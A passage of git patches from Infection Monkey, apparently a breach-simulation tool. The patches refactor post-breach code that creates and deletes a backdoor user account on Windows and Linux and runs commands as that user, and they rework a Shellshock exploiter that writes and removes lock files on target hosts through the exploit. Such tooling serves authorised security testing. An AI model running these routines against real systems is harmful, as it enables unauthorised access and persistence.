+        :raises: subprocess.CalledProcessError if failed to add the user.
+        """
+        self.username = username
+        self.password = password
+
+        windows_cmds = BackdoorUser.get_windows_commands_to_add_user(self.username, self.password, True)
+        logger.debug("Trying these commands: {}".format(str(windows_cmds)))
+        _ = subprocess.check_output(windows_cmds, stderr=subprocess.STDOUT, shell=True)
+
+    def __enter__(self):
+        # Importing these only on windows, as they won't exist on linux.
+        import win32security
+        import win32con
+
+        try:
+            # Logon as new user: https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-logonusera
+            self.logon_handle = win32security.LogonUser(
+                self.username,
+                ".",  # Use current domain.
+                self.password,
+                win32con.LOGON32_LOGON_INTERACTIVE,  # Logon type - interactive (normal user).
+                win32con.LOGON32_PROVIDER_DEFAULT)  # Which logon provider to use - whatever Windows offers.
+        except Exception as err:
+            raise NewUserError("Can't logon as {}. Error: {}".format(self.username, str(err)))
+        return self
+
+    def get_logon_handle(self):
+        return self.logon_handle
+
+    def __exit__(self, exc_type, exc_val, exc_tb):
+        self.logon_handle.Close()
+        # TODO Delete user
diff --git a/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py b/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py
index 182acea00..8869a225f 100644
--- a/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py
+++ b/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py
@@ -5,6 +5,7 @@ import string
 import subprocess
 
 from common.data.post_breach_consts import POST_BREACH_COMMUNICATE_AS_NEW_USER
+from infection_monkey.monkey_utils.windows.new_user import NewUser, NewUserError
 from infection_monkey.post_breach.actions.add_user import BackdoorUser
 from infection_monkey.post_breach.pba import PBA
 from infection_monkey.telemetry.post_breach_telem import PostBreachTelem
@@ -31,88 +32,76 @@ class CommunicateAsNewUser(PBA):
     def run(self):
         username = USERNAME + ''.join(random.choice(string.ascii_lowercase) for _ in range(5))
         if is_windows_os():
-            # Importing these only on windows, as they won't exist on linux.
-            import win32con
-            import win32process
-            import win32security
-
-            if not self.try_to_create_user_windows(username, PASSWORD):
-                return  # no point to continue if failed creating the user.
-
-            try:
-                # Logon as new user: https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-logonusera
-                new_user_logon_token_handle = win32security.LogonUser(
-                    username,
-                    ".",  # use current domain
-                    PASSWORD,
-                    win32con.LOGON32_LOGON_INTERACTIVE,  # logon type - interactive (normal user)
-                    win32con.LOGON32_PROVIDER_DEFAULT)  # logon provider
-            except Exception as e:
-                PostBreachTelem(
-                    self,
-                    ("Can't logon as {}. Error: {}".format(username, e.message), False)
-                ).send()
-                return  # no point to continue if can't log on.
-
-            # Using os.path is OK, as this is on windows for sure
-            ping_app_path = os.path.join(os.environ["WINDIR"], "system32", "PING.exe")
-            if not os.path.exists(ping_app_path):
-                PostBreachTelem(self, ("{} not found.".format(ping_app_path), False)).send()
-                return  # Can't continue without ping.
-
-            try:
-                # Open process as that user:
-                # https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createprocessasusera
-                commandline = "{} {}".format(ping_app_path, "google.com")
-                _ = win32process.CreateProcessAsUser(
-                    new_user_logon_token_handle,  # A handle to the primary token that represents a user.
-                    None,  # The name of the module to be executed.
-                    commandline,  # The command line to be executed.
-                    None,  # Process attributes
-                    None,  # Thread attributes
-                    True,  # Should inherit handles
-                    win32con.NORMAL_PRIORITY_CLASS,  # The priority class and the creation of the process.
-                    None,  # An environment block for the new process. If this parameter is NULL, the new process
-                    # uses the environment of the calling process.
-                    None,  # CWD. If this parameter is NULL, the new process will have the same current drive and
-                    # directory as the calling process.
-                    win32process.STARTUPINFO()  # STARTUPINFO structure.
-                    # https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/ns-processthreadsapi-startupinfoa
-                )
-
-                PostBreachTelem(self, (
-                    CREATED_PROCESS_AS_USER_WINDOWS_FORMAT.format(commandline, username), True)).send()
-                return
-            except Exception as e:
-                # TODO: if failed on 1314, we can try to add elevate the rights of the current user with the "Replace a
-                #  process level token" right, using Local Security Policy editing. Worked, but only after reboot. So:
-                #  1. need to decide if worth it, and then
-                #  2. need to find how to do this using python...
-                PostBreachTelem(self, (
-                    "Failed to open process as user {}. Error: {}".format(username, str(e)), False)).send()
-                return
+            self.communicate_as_new_user_windows(username)
         else:
-            try:
-                linux_cmds = BackdoorUser.get_linux_commands_to_add_user(username)
-                commandline = "ping -c 2 google.com"
-                linux_cmds.extend([";", "sudo", "-u", username, commandline])
-                final_command = ' '.join(linux_cmds)
-                logger.debug("Trying to execute these commands: {}".format(final_command))
-                output = subprocess.check_output(final_command, stderr=subprocess.STDOUT, shell=True)
-                PostBreachTelem(self, (
-                    CREATED_PROCESS_AS_USER_LINUX_FORMAT.format(commandline, username, output[:150]), True)).send()
-                return
-            except subprocess.CalledProcessError as e:
-                PostBreachTelem(self, (e.output, False)).send()
-                return
+            self.communicate_as_new_user_linux(username)
 
-    def try_to_create_user_windows(self, username, password):
+    def communicate_as_new_user_linux(self, username):
         try:
-            windows_cmds = BackdoorUser.get_windows_commands_to_add_user(username, password, True)
-            logger.debug("Trying these commands: {}".format(str(windows_cmds)))
-            subprocess.check_output(windows_cmds, stderr=subprocess.STDOUT, shell=True)
-            return True
-        except subprocess.CalledProcessError as e:
+            linux_cmds = BackdoorUser.get_linux_commands_to_add_user(username)
+            commandline = "ping -c 2 google.com"
+            linux_cmds.extend([";", "sudo", "-u", username, commandline])
+            final_command = ' '.join(linux_cmds)
+            logger.debug("Trying to execute these commands: {}".format(final_command))
+            output = subprocess.check_output(final_command, stderr=subprocess.STDOUT, shell=True)
             PostBreachTelem(self, (
-                "Couldn't create the user '{}'. Error output is: '{}'".format(username, e.output), False)).send()
-            return False
+                CREATED_PROCESS_AS_USER_LINUX_FORMAT.format(commandline, username, output[:150]), True)).send()
+        except subprocess.CalledProcessError as e:
+            PostBreachTelem(self, (e.output, False)).send()
+
+    def communicate_as_new_user_windows(self, username):
+        # Importing these only on windows, as they won't exist on linux.
+        import win32con
+        import win32process
+        import win32api
+
+        try:
+            with NewUser(username, PASSWORD) as new_user:
+                # Using os.path is OK, as this is on windows for sure
+                ping_app_path = os.path.join(os.environ["WINDIR"], "system32", "PING.exe")
+                if not os.path.exists(ping_app_path):
+                    PostBreachTelem(self, ("{} not found.".format(ping_app_path), False)).send()
+                    return  # Can't continue without ping.
+
+                try:
+                    # Open process as that user:
+                    # https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createprocessasusera
+                    commandline = "{} {} {} {}".format(ping_app_path, "google.com", "-n", "2")
+                    process_handle = win32process.CreateProcessAsUser(
+                        new_user.get_logon_handle(),  # A handle to the primary token that represents a user.
+                        None,  # The name of the module to be executed.
+                        commandline,  # The command line to be executed.
+                        None,  # Process attributes
+                        None,  # Thread attributes
+                        True,  # Should inherit handles
+                        win32con.NORMAL_PRIORITY_CLASS,  # The priority class and the creation of the process.
+                        None,  # An environment block for the new process. If this parameter is NULL, the new process
+                        # uses the environment of the calling process.
+                        None,  # CWD. If this parameter is NULL, the new process will have the same current drive and
+                        # directory as the calling process.
+                        win32process.STARTUPINFO()  # STARTUPINFO structure.
+                        # https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/ns-processthreadsapi-startupinfoa
+                    )
+
+                    PostBreachTelem(self,
+                                    (CREATED_PROCESS_AS_USER_WINDOWS_FORMAT.format(commandline, username), True)).send()
+
+                    win32api.CloseHandle(process_handle[0])  # Process handle
+                    win32api.CloseHandle(process_handle[1])  # Thread handle
+
+                except Exception as e:
+                    # TODO: if failed on 1314, we can try to add elevate the rights of the current user with the
+                    #  "Replace a process level token" right, using Local Security Policy editing. Worked, but only
+                    #  after reboot. So:
+                    #  1. need to decide if worth it, and then
+                    #  2. need to find how to do this using python...
+                    PostBreachTelem(self, (
+                        "Failed to open process as user {}. Error: {}".format(username, str(e)), False)).send()
+
+                    # Nothing more we can do. Leak the process handle.
+        except subprocess.CalledProcessError as err:
+            PostBreachTelem(self, (
+                "Couldn't create the user '{}'. Error output is: '{}'".format(username, str(err)),
+                False)).send()
+        except NewUserError as e:
+            PostBreachTelem(self, (str(e), False)).send()

From 51117edbea687756d3b0d7e6d9b7a0ef85160a66 Mon Sep 17 00:00:00 2001
From: Shay Nehmad <shay.nehmad@guardicore.com>
Date: Thu, 5 Sep 2019 21:32:04 +0300
Subject: [PATCH 38/78] Add deletion of users

---
 .../monkey_utils/windows/new_user.py           | 15 ++++++++++-----
 .../post_breach/actions/add_user.py            | 18 ++++++++++++++++--
 .../actions/communicate_as_new_user.py         |  5 ++++-
 3 files changed, 30 insertions(+), 8 deletions(-)

diff --git a/monkey/infection_monkey/monkey_utils/windows/new_user.py b/monkey/infection_monkey/monkey_utils/windows/new_user.py
index be6e2534d..14db5c1ae 100644
--- a/monkey/infection_monkey/monkey_utils/windows/new_user.py
+++ b/monkey/infection_monkey/monkey_utils/windows/new_user.py
@@ -2,7 +2,6 @@ import logging
 import subprocess
 
 from infection_monkey.post_breach.actions.add_user import BackdoorUser
-from infection_monkey.telemetry.post_breach_telem import PostBreachTelem
 
 
 logger = logging.getLogger(__name__)
@@ -17,14 +16,14 @@ class NewUser(object):
     RAII object to use for creating and using a new user in Windows. Use with `with`.
     User will be created when the instance is instantiated.
     User will log on start of `with` scope.
-    User will log off on end of `with` scope.
+    User will log off and get deleted on end of `with` scope.
 
     Example:
              # Created                           # Logged on
         with NewUser("user", "pass") as new_user:
             ...
             ...
-        # Logged off
+        # Logged off and deleted
         ...
     """
     def __init__(self, username, password):
@@ -36,7 +35,6 @@ class NewUser(object):
         self.password = password
 
         windows_cmds = BackdoorUser.get_windows_commands_to_add_user(self.username, self.password, True)
-        logger.debug("Trying these commands: {}".format(str(windows_cmds)))
         _ = subprocess.check_output(windows_cmds, stderr=subprocess.STDOUT, shell=True)
 
     def __enter__(self):
@@ -60,5 +58,12 @@ class NewUser(object):
         return self.logon_handle
 
     def __exit__(self, exc_type, exc_val, exc_tb):
+        # Logoff
         self.logon_handle.Close()
-        # TODO Delete user
+
+        # Try to delete user
+        try:
+            _ = subprocess.check_output(
+                BackdoorUser.get_windows_commands_to_delete_user(self.username), stderr=subprocess.STDOUT, shell=True)
+        except Exception as err:
+            raise NewUserError("Can't delete user {}. Info: {}".format(self.username, err))
diff --git a/monkey/infection_monkey/post_breach/actions/add_user.py b/monkey/infection_monkey/post_breach/actions/add_user.py
index b82c59a66..9bb8cfcba 100644
--- a/monkey/infection_monkey/post_breach/actions/add_user.py
+++ b/monkey/infection_monkey/post_breach/actions/add_user.py
@@ -22,7 +22,7 @@ class BackdoorUser(PBA):
 
     @staticmethod
     def get_linux_commands_to_add_user(username):
-        linux_cmds = [
+        return [
             'useradd',
             '-M',  # Do not create homedir
             '--expiredate',
@@ -32,7 +32,13 @@ class BackdoorUser(PBA):
             '-c',  # Comment
             'MONKEY_USER',  # Comment
             username]
-        return linux_cmds
+
+    @staticmethod
+    def get_linux_commands_to_delete_user(username):
+        return [
+            'deluser',
+            username
+        ]
 
     @staticmethod
     def get_windows_commands_to_add_user(username, password, should_be_active=False):
@@ -45,3 +51,11 @@ class BackdoorUser(PBA):
         if not should_be_active:
             windows_cmds.append('/ACTIVE:NO')
         return windows_cmds
+
+    @staticmethod
+    def get_windows_commands_to_delete_user(username):
+        return [
+            'net',
+            'user',
+            username,
+            '/delete']
diff --git a/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py b/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py
index 8869a225f..590912c0b 100644
--- a/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py
+++ b/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py
@@ -38,14 +38,17 @@ class CommunicateAsNewUser(PBA):
 
     def communicate_as_new_user_linux(self, username):
         try:
+            # add user + ping
             linux_cmds = BackdoorUser.get_linux_commands_to_add_user(username)
             commandline = "ping -c 2 google.com"
             linux_cmds.extend([";", "sudo", "-u", username, commandline])
             final_command = ' '.join(linux_cmds)
-            logger.debug("Trying to execute these commands: {}".format(final_command))
             output = subprocess.check_output(final_command, stderr=subprocess.STDOUT, shell=True)
             PostBreachTelem(self, (
                 CREATED_PROCESS_AS_USER_LINUX_FORMAT.format(commandline, username, output[:150]), True)).send()
+            # delete the user
+            _ = subprocess.check_output(
+                BackdoorUser.get_linux_commands_to_delete_user(username), stderr=subprocess.STDOUT, shell=True)
         except subprocess.CalledProcessError as e:
             PostBreachTelem(self, (e.output, False)).send()
 

From e520df4c34aa7750362761011d68ae6b750ed201 Mon Sep 17 00:00:00 2001
From: Shay Nehmad <shay.nehmad@guardicore.com>
Date: Thu, 5 Sep 2019 21:40:36 +0300
Subject: [PATCH 39/78] Fixed events length check

---
 .../src/components/report-components/zerotrust/EventsButton.js  | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsButton.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsButton.js
index f7a3fbbe5..ea24e7b1a 100644
--- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsButton.js
+++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsButton.js
@@ -33,7 +33,7 @@ export default class EventsButton extends Component {
 
   createEventsAmountBadge() {
     let eventsAmountBadge;
-    if (this.props.events.length > 10) {
+    if (this.props.events.length > 9) {
       eventsAmountBadge = <Badge>9+</Badge>;
     } else {
       eventsAmountBadge = <Badge>{this.props.events.length}</Badge>;

From ee10ca90507b8ba100fb99f292e91fae8bf43fbe Mon Sep 17 00:00:00 2001
From: Anh T Nguyen <anhnt@cystack.net>
Date: Fri, 6 Sep 2019 11:11:19 +0700
Subject: [PATCH 40/78] move try_lock to HostExploiter

---
 monkey/infection_monkey/exploit/__init__.py   | 10 ++++
 monkey/infection_monkey/exploit/shellshock.py | 47 +++++++++----------
 2 files changed, 31 insertions(+), 26 deletions(-)

diff --git a/monkey/infection_monkey/exploit/__init__.py b/monkey/infection_monkey/exploit/__init__.py
index 9db1bad47..a75675942 100644
--- a/monkey/infection_monkey/exploit/__init__.py
+++ b/monkey/infection_monkey/exploit/__init__.py
@@ -76,6 +76,16 @@ class HostExploiter(object):
         powershell = True if "powershell" in cmd.lower() else False
         self.exploit_info['executed_cmds'].append({'cmd': cmd, 'powershell': powershell})
 
+    def _try_lock(self, create_file_fn, path):
+        """
+        Create temporary file on target machine to avoid collision of long-running exploiters
+        :return: True if no other monkey is running same exploit
+        """
+        return create_file_fn(path)
+
+    def _exit_lock(self, remove_file_fn, path):
+        remove_file_fn(path)
+
 
 from infection_monkey.exploit.win_ms08_067 import Ms08_067_Exploiter
 from infection_monkey.exploit.wmiexec import WmiExploiter
diff --git a/monkey/infection_monkey/exploit/shellshock.py b/monkey/infection_monkey/exploit/shellshock.py
index 8b18590de..46de37797 100644
--- a/monkey/infection_monkey/exploit/shellshock.py
+++ b/monkey/infection_monkey/exploit/shellshock.py
@@ -20,6 +20,7 @@ LOG = logging.getLogger(__name__)
 TIMEOUT = 2
 TEST_COMMAND = '/bin/uname -a'
 DOWNLOAD_TIMEOUT = 300  # copied from rdpgrinder
+LOCK_HELPER_FILE = '/tmp/monkey_shellshock'
 
 
 class ShellShockExploiter(HostExploiter):
@@ -108,8 +109,10 @@ class ShellShockExploiter(HostExploiter):
                 LOG.info("Can't find suitable monkey executable for host %r", self.host)
                 return False
 
-            if not self._try_lock(exploit, url, header):
-                continue
+            if not self._try_lock(create_file_fn=self._create_lock_file(exploit, url, header),
+                                  path=LOCK_HELPER_FILE):
+                LOG.info("Host %s was already infected under the current configuration, done" % self.host)
+                return True
 
             http_path, http_thread = HTTPTools.create_transfer(self.host, src_path)
 
@@ -127,7 +130,8 @@ class ShellShockExploiter(HostExploiter):
             http_thread.join(DOWNLOAD_TIMEOUT)
             http_thread.stop()
 
-            self._exit_lock(exploit, url, header)
+            self._exit_lock(remove_file_fn=self._remove_lock_file(exploit, url, header),
+                            path=LOCK_HELPER_FILE)
 
             if (http_thread.downloads != 1) or (
                         'ELF' not in self.check_remote_file_exists(url, header, exploit, dropper_target_path_linux)):
@@ -187,30 +191,21 @@ class ShellShockExploiter(HostExploiter):
                 LOG.debug("URL %s does not seem to be vulnerable with %s header" % (url, header))
         return False,
 
-    @classmethod
-    def _try_lock(cls, exploit, url, header):
-        """
-        Checks if another monkey is running shellshock exploit
-        :return: True if no monkey is running shellshock exploit
-        """
-        file_path = '/tmp/monkey_lock'
-        if cls.check_remote_file_exists(url, header, exploit, file_path):
-            LOG.info("Another monkey is running shellshock exploit")
-            return False
-        cmdline = 'echo AAAA > %s' % file_path
-        run_path = exploit + cmdline
-        cls.attack_page(url, header, run_path)
-        return True
+    def _create_lock_file(self, exploit, url, header):
+        def f(filepath):
+            if self.check_remote_file_exists(url, header, exploit, filepath):
+                LOG.info("Another monkey is running shellshock exploit")
+                return False
+            cmd = exploit + 'echo AAAA > %s' % filepath
+            self.attack_page(url, header, cmd)
+            return True
+        return f
 
-    @classmethod
-    def _exit_lock(cls, exploit, url, header):
-        """
-        Remove lock file from target machine
-        """
-        file_path = '/tmp/monkey_lock'
-        cmdline = 'rm %s' % file_path
-        run_path = exploit + cmdline
-        cls.attack_page(url, header, run_path)
+    def _remove_lock_file(self, exploit, url, header):
+        def f(filepath):
+            cmd = exploit + 'rm %s' % filepath
+            self.attack_page(url, header, cmd)
+        return f
 
     @staticmethod
     def attack_page(url, header, attack):

From 7b0bf71279112196954c7be834bc20fa5c2390b2 Mon Sep 17 00:00:00 2001
From: Anh T Nguyen <anhnt@cystack.net>
Date: Sat, 7 Sep 2019 07:14:11 +0700
Subject: [PATCH 41/78] update

---
 monkey/infection_monkey/exploit/__init__.py   | 12 +--------
 monkey/infection_monkey/exploit/shellshock.py | 27 +++++++------------
 2 files changed, 11 insertions(+), 28 deletions(-)

diff --git a/monkey/infection_monkey/exploit/__init__.py b/monkey/infection_monkey/exploit/__init__.py
index a75675942..ad38f50ce 100644
--- a/monkey/infection_monkey/exploit/__init__.py
+++ b/monkey/infection_monkey/exploit/__init__.py
@@ -75,17 +75,7 @@ class HostExploiter(object):
         """
         powershell = True if "powershell" in cmd.lower() else False
         self.exploit_info['executed_cmds'].append({'cmd': cmd, 'powershell': powershell})
-
-    def _try_lock(self, create_file_fn, path):
-        """
-        Create temporary file on target machine to avoid collision of long-running exploiters
-        :return: True if no other monkey is running same exploit
-        """
-        return create_file_fn(path)
-
-    def _exit_lock(self, remove_file_fn, path):
-        remove_file_fn(path)
-
+        
 
 from infection_monkey.exploit.win_ms08_067 import Ms08_067_Exploiter
 from infection_monkey.exploit.wmiexec import WmiExploiter
diff --git a/monkey/infection_monkey/exploit/shellshock.py b/monkey/infection_monkey/exploit/shellshock.py
index 46de37797..78e668fc1 100644
--- a/monkey/infection_monkey/exploit/shellshock.py
+++ b/monkey/infection_monkey/exploit/shellshock.py
@@ -109,9 +109,8 @@ class ShellShockExploiter(HostExploiter):
                 LOG.info("Can't find suitable monkey executable for host %r", self.host)
                 return False
 
-            if not self._try_lock(create_file_fn=self._create_lock_file(exploit, url, header),
-                                  path=LOCK_HELPER_FILE):
-                LOG.info("Host %s was already infected under the current configuration, done" % self.host)
+            if not self._create_lock_file(exploit, url, header):
+                LOG.info("Another monkey is running shellshock exploit")
                 return True
 
             http_path, http_thread = HTTPTools.create_transfer(self.host, src_path)
@@ -130,8 +129,7 @@ class ShellShockExploiter(HostExploiter):
             http_thread.join(DOWNLOAD_TIMEOUT)
             http_thread.stop()
 
-            self._exit_lock(remove_file_fn=self._remove_lock_file(exploit, url, header),
-                            path=LOCK_HELPER_FILE)
+            self._remove_lock_file(exploit, url, header)
 
             if (http_thread.downloads != 1) or (
                         'ELF' not in self.check_remote_file_exists(url, header, exploit, dropper_target_path_linux)):
@@ -192,20 +190,15 @@ class ShellShockExploiter(HostExploiter):
         return False,
 
     def _create_lock_file(self, exploit, url, header):
-        def f(filepath):
-            if self.check_remote_file_exists(url, header, exploit, filepath):
-                LOG.info("Another monkey is running shellshock exploit")
-                return False
-            cmd = exploit + 'echo AAAA > %s' % filepath
-            self.attack_page(url, header, cmd)
-            return True
-        return f
+        if self.check_remote_file_exists(url, header, exploit, LOCK_HELPER_FILE):
+            return False
+        cmd = exploit + 'echo AAAA > %s' % LOCK_HELPER_FILE
+        self.attack_page(url, header, cmd)
+        return True
 
     def _remove_lock_file(self, exploit, url, header):
-        def f(filepath):
-            cmd = exploit + 'rm %s' % filepath
-            self.attack_page(url, header, cmd)
-        return f
+        cmd = exploit + 'rm %s' % LOCK_HELPER_FILE
+        self.attack_page(url, header, cmd)
 
     @staticmethod
     def attack_page(url, header, attack):

From f78e76bdee4c9a4eccd4a1a25fc70d0bfc654909 Mon Sep 17 00:00:00 2001
From: Shay Nehmad <shay.nehmad@guardicore.com>
Date: Sat, 7 Sep 2019 18:49:59 +0300
Subject: [PATCH 42/78] Renamed process_handle to process_info and removed bad
 comment

---
 .../post_breach/actions/communicate_as_new_user.py        | 8 +++-----
 1 file changed, 3 insertions(+), 5 deletions(-)

diff --git a/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py b/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py
index 590912c0b..9db9bd436 100644
--- a/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py
+++ b/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py
@@ -70,7 +70,7 @@ class CommunicateAsNewUser(PBA):
                     # Open process as that user:
                     # https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createprocessasusera
                     commandline = "{} {} {} {}".format(ping_app_path, "google.com", "-n", "2")
-                    process_handle = win32process.CreateProcessAsUser(
+                    process_info = win32process.CreateProcessAsUser(
                         new_user.get_logon_handle(),  # A handle to the primary token that represents a user.
                         None,  # The name of the module to be executed.
                         commandline,  # The command line to be executed.
@@ -89,8 +89,8 @@ class CommunicateAsNewUser(PBA):
                     PostBreachTelem(self,
                                     (CREATED_PROCESS_AS_USER_WINDOWS_FORMAT.format(commandline, username), True)).send()
 
-                    win32api.CloseHandle(process_handle[0])  # Process handle
-                    win32api.CloseHandle(process_handle[1])  # Thread handle
+                    win32api.CloseHandle(process_info[0])  # Process handle
+                    win32api.CloseHandle(process_info[1])  # Thread handle
 
                 except Exception as e:
                     # TODO: if failed on 1314, we can try to add elevate the rights of the current user with the
@@ -100,8 +100,6 @@ class CommunicateAsNewUser(PBA):
                     #  2. need to find how to do this using python...
                     PostBreachTelem(self, (
                         "Failed to open process as user {}. Error: {}".format(username, str(e)), False)).send()
-
-                    # Nothing more we can do. Leak the process handle.
         except subprocess.CalledProcessError as err:
             PostBreachTelem(self, (
                 "Couldn't create the user '{}'. Error output is: '{}'".format(username, str(err)),

From 72cae8624ce9bdb012d30a5bb1ac015cf17a3288 Mon Sep 17 00:00:00 2001
From: Daniel Goldberg <danielg@guardicore.com>
Date: Thu, 5 Sep 2019 19:45:20 +0300
Subject: [PATCH 43/78] Move AWS exporting to proper subfolder

---
 monkey/monkey_island/cc/main.py                               | 2 +-
 monkey/monkey_island/cc/services/report.py                    | 2 +-
 monkey/monkey_island/cc/services/reporting/__init__.py        | 0
 .../cc/{resources => services/reporting}/aws_exporter.py      | 2 +-
 .../cc/{resources => services/reporting}/exporter.py          | 0
 .../cc/{ => services/reporting}/exporter_init.py              | 4 ++--
 .../cc/{ => services/reporting}/report_exporter_manager.py    | 0
 7 files changed, 5 insertions(+), 5 deletions(-)
 create mode 100644 monkey/monkey_island/cc/services/reporting/__init__.py
 rename monkey/monkey_island/cc/{resources => services/reporting}/aws_exporter.py (99%)
 rename monkey/monkey_island/cc/{resources => services/reporting}/exporter.py (100%)
 rename monkey/monkey_island/cc/{ => services/reporting}/exporter_init.py (78%)
 rename monkey/monkey_island/cc/{ => services/reporting}/report_exporter_manager.py (100%)

diff --git a/monkey/monkey_island/cc/main.py b/monkey/monkey_island/cc/main.py
index 5b9bda8cb..b6c7cb7ab 100644
--- a/monkey/monkey_island/cc/main.py
+++ b/monkey/monkey_island/cc/main.py
@@ -21,7 +21,7 @@ json_setup_logging(default_path=os.path.join(MONKEY_ISLAND_ABS_PATH, 'cc', 'isla
 logger = logging.getLogger(__name__)
 
 from monkey_island.cc.app import init_app
-from monkey_island.cc.exporter_init import populate_exporter_list
+from cc.services.reporting.exporter_init import populate_exporter_list
 from monkey_island.cc.utils import local_ip_addresses
 from monkey_island.cc.environment.environment import env
 from monkey_island.cc.database import is_db_server_up, get_db_version
diff --git a/monkey/monkey_island/cc/services/report.py b/monkey/monkey_island/cc/services/report.py
index 54bb6f74e..2b89be782 100644
--- a/monkey/monkey_island/cc/services/report.py
+++ b/monkey/monkey_island/cc/services/report.py
@@ -11,7 +11,7 @@ from six import text_type
 
 from monkey_island.cc.database import mongo
 from monkey_island.cc.models import Monkey
-from monkey_island.cc.report_exporter_manager import ReportExporterManager
+from cc.services.reporting.report_exporter_manager import ReportExporterManager
 from monkey_island.cc.services.config import ConfigService
 from monkey_island.cc.services.edge import EdgeService
 from monkey_island.cc.services.node import NodeService
diff --git a/monkey/monkey_island/cc/services/reporting/__init__.py b/monkey/monkey_island/cc/services/reporting/__init__.py
new file mode 100644
index 000000000..e69de29bb
diff --git a/monkey/monkey_island/cc/resources/aws_exporter.py b/monkey/monkey_island/cc/services/reporting/aws_exporter.py
similarity index 99%
rename from monkey/monkey_island/cc/resources/aws_exporter.py
rename to monkey/monkey_island/cc/services/reporting/aws_exporter.py
index 52ccfeb5d..52f3797a3 100644
--- a/monkey/monkey_island/cc/resources/aws_exporter.py
+++ b/monkey/monkey_island/cc/services/reporting/aws_exporter.py
@@ -7,7 +7,7 @@ from botocore.exceptions import UnknownServiceError
 
 from common.cloud.aws_instance import AwsInstance
 from monkey_island.cc.environment.environment import load_server_configuration_from_file
-from monkey_island.cc.resources.exporter import Exporter
+from cc.services.reporting.exporter import Exporter
 
 __authors__ = ['maor.rayzin', 'shay.nehmad']
 
diff --git a/monkey/monkey_island/cc/resources/exporter.py b/monkey/monkey_island/cc/services/reporting/exporter.py
similarity index 100%
rename from monkey/monkey_island/cc/resources/exporter.py
rename to monkey/monkey_island/cc/services/reporting/exporter.py
diff --git a/monkey/monkey_island/cc/exporter_init.py b/monkey/monkey_island/cc/services/reporting/exporter_init.py
similarity index 78%
rename from monkey/monkey_island/cc/exporter_init.py
rename to monkey/monkey_island/cc/services/reporting/exporter_init.py
index fdf26fe8f..b6304927f 100644
--- a/monkey/monkey_island/cc/exporter_init.py
+++ b/monkey/monkey_island/cc/services/reporting/exporter_init.py
@@ -1,7 +1,7 @@
 import logging
 
-from monkey_island.cc.report_exporter_manager import ReportExporterManager
-from monkey_island.cc.resources.aws_exporter import AWSExporter
+from cc.services.reporting.report_exporter_manager import ReportExporterManager
+from cc.services.reporting.aws_exporter import AWSExporter
 from monkey_island.cc.services.remote_run_aws import RemoteRunAwsService
 
 logger = logging.getLogger(__name__)
diff --git a/monkey/monkey_island/cc/report_exporter_manager.py b/monkey/monkey_island/cc/services/reporting/report_exporter_manager.py
similarity index 100%
rename from monkey/monkey_island/cc/report_exporter_manager.py
rename to monkey/monkey_island/cc/services/reporting/report_exporter_manager.py

From 004cfa17f3d5bd66985b45d2c0775e574c4ece4c Mon Sep 17 00:00:00 2001
From: Daniel Goldberg <danielg@guardicore.com>
Date: Thu, 5 Sep 2019 19:45:58 +0300
Subject: [PATCH 44/78] Bugfix, add AWS exporter only when running with AWS
 config.

---
 monkey/monkey_island/cc/services/reporting/exporter_init.py | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/monkey/monkey_island/cc/services/reporting/exporter_init.py b/monkey/monkey_island/cc/services/reporting/exporter_init.py
index b6304927f..7a9c0d64f 100644
--- a/monkey/monkey_island/cc/services/reporting/exporter_init.py
+++ b/monkey/monkey_island/cc/services/reporting/exporter_init.py
@@ -3,14 +3,14 @@ import logging
 from cc.services.reporting.report_exporter_manager import ReportExporterManager
 from cc.services.reporting.aws_exporter import AWSExporter
 from monkey_island.cc.services.remote_run_aws import RemoteRunAwsService
-
+from monkey_island.cc.environment.environment import env
 logger = logging.getLogger(__name__)
 
 
 def populate_exporter_list():
     manager = ReportExporterManager()
     RemoteRunAwsService.init()
-    if RemoteRunAwsService.is_running_on_aws():
+    if RemoteRunAwsService.is_running_on_aws() and ('aws' == env.get_deployment()):
         manager.add_exporter_to_list(AWSExporter)
 
     if len(manager.get_exporters_list()) != 0:

From bf3ad35124848ef3b4a9c682e5881e6590c565b6 Mon Sep 17 00:00:00 2001
From: Daniel Goldberg <danielg@guardicore.com>
Date: Thu, 5 Sep 2019 19:54:41 +0300
Subject: [PATCH 45/78] Move try catch to better handle multiple exporters

---
 .../cc/services/reporting/report_exporter_manager.py   | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/monkey/monkey_island/cc/services/reporting/report_exporter_manager.py b/monkey/monkey_island/cc/services/reporting/report_exporter_manager.py
index 5e51a43e1..c934618db 100644
--- a/monkey/monkey_island/cc/services/reporting/report_exporter_manager.py
+++ b/monkey/monkey_island/cc/services/reporting/report_exporter_manager.py
@@ -27,9 +27,9 @@ class ReportExporterManager(object):
         self._exporters_set.add(exporter)
 
     def export(self, report):
-        try:
-            for exporter in self._exporters_set:
-                logger.debug("Trying to export using " + repr(exporter))
+        for exporter in self._exporters_set:
+            logger.debug("Trying to export using " + repr(exporter))
+            try:
                 exporter().handle_report(report)
-        except Exception as e:
-            logger.exception('Failed to export report, error: ' + e.message)
+            except Exception as e:
